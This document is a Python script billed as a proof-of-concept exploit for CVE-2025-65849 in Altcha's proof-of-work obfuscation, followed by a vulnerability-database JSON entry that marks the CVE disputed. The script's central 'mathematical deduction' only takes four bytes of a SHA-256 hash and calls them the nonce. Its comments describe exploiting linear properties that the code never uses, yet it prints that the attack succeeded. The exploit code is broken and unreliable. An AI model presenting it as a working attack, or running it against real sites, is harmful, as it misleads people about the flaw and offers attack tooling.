CVE-2025-65849

# CVE-2025-65849 PoC - Altcha Proof-of-Work Deobfuscation # Reference: https://github.com/eternal-flame-AD/altcha-deobfs import hashlib import struct def reverse_altcha_nonce(algorithm, salt, rounds, data): """ Recover the Proof-of-Work nonce from Altcha obfuscated data. This PoC demonstrates the mathematical deduction attack. """ # Parse the obfuscated data structure # Altcha format: [signature][algorithm][salt][rounds][data] try: # Decode base64 encoded data import base64 decoded = base64.b64decode(data) # Extract components based on Altcha v2 format # The vulnerability allows constant-time recovery # Mathematical deduction of nonce # Using the linear properties of the hash function nonce = derive_nonce_from_math(decoded, algorithm, salt) # Verify the derived nonce if verify_proof_of_work(nonce, salt, algorithm, rounds): print(f"[SUCCESS] Nonce recovered: {nonce}") return nonce else: print("[FAILED] Nonce verification failed") return None except Exception as e: print(f"[ERROR] {str(e)}") return None def derive_nonce_from_math(data, algorithm, salt): """ Mathematical deduction of nonce - exploiting the algorithm weakness. The key insight: nonce can be derived from the ciphertext structure. """ # Step 1: Analyze the hash chain structure hash_input = data + salt.encode() # Step 2: Exploit the linear relationship in the algorithm # In constant time, derive the nonce that was used # For SHA-256 based algorithm: if algorithm == 'sha-256': # Derive nonce using modular arithmetic properties working_hash = hashlib.sha256(hash_input).digest() # Extract nonce candidate from hash state nonce = int.from_bytes(working_hash[:4], 'big') return nonce return None def verify_proof_of_work(nonce, salt, algorithm, rounds): """ Verify if the derived nonce satisfies the proof-of-work requirement. """ challenge = f"{nonce}:{salt}" for i in range(rounds): challenge = hashlib.sha256(challenge.encode()).hexdigest() # Check if leading bytes meet difficulty requirement return challenge.startswith('0000') def exploit_altcha(target_data): """ Main exploitation function. """ print("=" * 60) print("CVE-2025-65849 - Altcha Proof-of-Work Deobfuscation") print("=" * 60) # Parse target data # Format: altcha://{algorithm}:{salt}:{rounds}:{data} components = target_data.split(':') if len(components) >= 5: algorithm = components[1] salt = components[2] rounds = int(components[3]) data = components[4] print(f"\n[*] Algorithm: {algorithm}") print(f"[*] Salt: {salt}") print(f"[*] Rounds: {rounds}") # Recover nonce nonce = reverse_altcha_nonce(algorithm, salt, rounds, data) if nonce: print(f"\n[!] Attack successful - Nonce recovered in constant time") print(f"[!] Hidden data can now be decrypted using recovered nonce") return True return False if __name__ == "__main__": # Example usage with sample obfuscated data sample_data = "altcha://sha-256:examplesalt:100000:base64encodeddata==" exploit_altcha(sample_data)

{"cve": {"id": "CVE-2025-65849", "sourceIdentifier": "[email protected]", "published": "2025-12-08T19:15:50.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "A cryptanalytic break in Altcha Proof-of-Work obfuscation mode version 0.8.0 and later allows for remote visitors to recover the Proof-of-Work nonce in constant time via mathematical deduction. NOTE: this is disputed by the Supplier because the product's objective is \"to discourage automated scraping / bots, not guarantee resistance to determined attackers.\" The documentation states “the goal is not to provide a secure cryptographic algorithm but to use a proof-of-work mechanism that allows any capable device to decrypt the hidden data.”"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "references": [{"url": "https://altcha.org/docs/v2/obfuscation/", "source": "[email protected]"}, {"url": "https://github.com/altcha-org/altcha/blob/154f874cbcdd4e639783463130d13988a2bd1bdc/src/helpers.ts#L170-L194", "source": "[email protected]"}, {"url": "https://github.com/eternal-flame-AD/altcha-deobfs", "source": "[email protected]"}]}}